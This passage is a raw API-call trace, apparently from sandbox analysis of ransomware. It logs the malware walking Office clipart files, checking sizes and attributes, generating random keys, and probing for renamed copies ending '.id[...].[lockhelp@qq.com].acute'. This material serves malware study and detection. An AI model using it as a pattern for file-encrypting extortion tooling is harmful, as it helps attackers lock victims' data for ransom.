Office\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.028] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.028] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2296) returned 1 [0275.028] CloseHandle (hObject=0x310) returned 1 [0275.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x20 [0275.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.028] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.029] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=8564) returned 1 [0275.029] CloseHandle (hObject=0x310) returned 1 [0275.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x20 [0275.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.029] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.030] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1768) returned 1 [0275.030] CloseHandle (hObject=0x310) returned 1 [0275.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x20 [0275.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.030] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.031] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=900) returned 1 [0275.031] CloseHandle (hObject=0x310) returned 1 [0275.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x20 [0275.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.031] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.031] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2524) returned 1 [0275.031] CloseHandle (hObject=0x310) returned 1 [0275.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x20 [0275.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.031] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.031] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2324) returned 1 [0275.032] CloseHandle (hObject=0x310) returned 1 [0275.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x20 [0275.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.032] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.032] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=19068) returned 1 [0275.032] CloseHandle (hObject=0x310) returned 1 [0275.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x20 [0275.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.032] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.032] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=580) returned 1 [0275.032] CloseHandle (hObject=0x310) returned 1 [0275.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x20 [0275.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.033] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.033] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=296) returned 1 [0275.033] CloseHandle (hObject=0x310) returned 1 [0275.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 0x20 [0275.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.033] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.034] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=552) returned 1 [0275.034] CloseHandle (hObject=0x310) returned 1 [0275.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x20 [0275.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.034] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.034] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4148) returned 1 [0275.034] CloseHandle (hObject=0x310) returned 1 [0275.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x20 [0275.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.034] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.035] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2300) returned 1 [0275.035] CloseHandle (hObject=0x310) returned 1 [0275.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x20 [0275.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.035] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.036] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3252) returned 1 [0275.036] CloseHandle (hObject=0x310) returned 1 [0275.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x20 [0275.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.036] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.036] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1382) returned 1 [0275.036] CloseHandle (hObject=0x310) returned 1 [0275.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20 [0275.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.036] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.036] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=13042) returned 1 [0275.036] CloseHandle (hObject=0x310) returned 1 [0275.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20 [0275.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.037] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.037] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2700) returned 1 [0275.037] CloseHandle (hObject=0x310) returned 1 [0275.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20 [0275.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.037] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.037] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6958) returned 1 [0275.037] CloseHandle (hObject=0x310) returned 1 [0275.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x20 [0275.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 